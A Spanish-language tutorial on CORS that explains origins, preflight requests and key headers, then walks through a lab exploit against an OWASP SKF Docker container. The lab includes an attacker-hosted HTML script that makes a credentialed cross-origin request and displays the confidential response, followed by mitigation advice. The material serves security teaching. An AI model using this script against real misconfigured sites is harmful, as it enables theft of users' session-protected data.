🌐 ¿Qué es CORS?
CORS (Cross-Origin Resource Sharing) es un mecanismo de seguridad implementado en los navegadores para restringir o permitir solicitudes HTTP entre distintos orígenes (dominios, protocolos o puertos).
🔒 Su objetivo es proteger al usuario frente a solicitudes maliciosas que podrían comprometer sus datos.
🧭 ¿Qué es un origen (origin)?
Un origen está compuesto por:
- El protocolo (ej:
https) - El dominio (ej:
example.com) - El puerto (ej:
:443)
Dos URLs tienen diferente origen si alguno de estos componentes es distinto.
📌 Ejemplo:
[https://example.com](https://example.com) ⬅️ origen A
[https://api.example.com](https://api.example.com) ⬅️ origen B (subdominio diferente)
[http://example.com](http://example.com) ⬅️ origen C (protocolo diferente)
[https://example.com:8080](https://example.com:8080) ⬅️ origen D (puerto diferente)
🧪 ¿Cómo actúa CORS?
Cuando un sitio (origen A) quiere hacer una solicitud HTTP (fetch, XHR) a otro origen (origen B), el navegador:
- Bloquea la solicitud por defecto.
- Envía una solicitud previa (preflight request)
OPTIONSsi es necesario. - Espera una respuesta con los encabezados CORS apropiados desde el servidor de origen B.
🔖 Encabezados clave
Access-Control-Allow-Origin: define qué origenes están permitidosAccess-Control-Allow-Methods: métodos HTTP permitidos (GET, POST, PUT, etc)Access-Control-Allow-Headers: qué cabeceras se aceptan en la solicitudAccess-Control-Allow-Credentials: permite el envío de cookies y autenticación
💡 Ejemplo práctico
// Cliente hace una solicitud desde https://client.com
GET https://api.server.com/data
// El servidor responde con:
Access-Control-Allow-Origin: https://client.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Credentials: trueSi el servidor no incluye estos headers, el navegador bloqueará la respuesta, aunque la solicitud haya llegado al servidor.
🛠️ CORS en código (servidor)
🌍 Express.js (Node)
const express = require('express');
const cors = require('cors');
const app = express();
app.use(cors({
origin: 'https://client.com',
methods: ['GET', 'POST'],
credentials: true
}));🧪 Ejemplo práctico: Explotación de CORS
🐳 Paso 1: Iniciar entorno vulnerable
Ejecutamos un contenedor Docker con una aplicación vulnerable a CORS:
docker pull blabla1337/owasp-skf-lab:corsdocker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:cors⚙️ Con
-p 127.0.0.1:5000:5000estamos haciendo port forwarding, redirigiendo el puerto 5000 del contenedor al puerto 5000 de nuestra máquina local.
🐞 Paso 2: Script malicioso en HTML
Un atacante podría alojar el siguiente script en un sitio externo:
<script>
// Crear una solicitud a una API vulnerable
var req = new XMLHttpRequest();
req.onload = listener;
req.open("GET", "http://localhost:5000/confidential", true);
req.withCredentials = true;
req.send();
function listener() {
// Mostrar la respuesta (datos robados) en el HTML
document.getElementById("stoleninfo").innerHTML = this.responseText;
}
</script>
<center>
<h1>Has sido hackeado. Esto fue lo que te robé:</h1>
</center>
<p id="stoleninfo"></p>Luego abrimos un servidor http con pyton por el puerto 8084 en donde este el html
python -m http.server 8084⚠️ ¿Por qué es peligroso?
Este ataque funciona si el servidor http://localhost:5000:
- Permite solicitudes CORS desde cualquier origen (
Access-Control-Allow-Origin: *o refleja el origen). - Permite el uso de cookies o tokens con
Access-Control-Allow-Credentials: true.
En ese caso, el navegador del usuario envía automáticamente sus cookies de sesión, y la respuesta confidencial se muestra en el sitio del atacante.
🎯 Resultado
El atacante accede a información sensible y la inyecta en la página maliciosa:
<p id="stoleninfo">[Datos privados obtenidos]</p>🔐 Conclusión
Siempre validar los orígenes y evitar reflejar cualquier
Originque venga del navegador.
Nunca usarAccess-Control-Allow-Origin: *junto conAccess-Control-Allow-Credentials: true.
🔐 Seguridad y buenas prácticas
-
❌ No usar
Access-Control-Allow-Origin: *si se usan cookies o tokens de sesión. -
✅ Siempre especificar los orígenes permitidos.
-
✅ Validar y sanitizar las cabeceras
Originen el backend. -
🔍 Revisar posibles exposiciones de datos sensibles al habilitar CORS.
-
🔐 Considerar mecanismos de autenticación robustos en APIs públicas.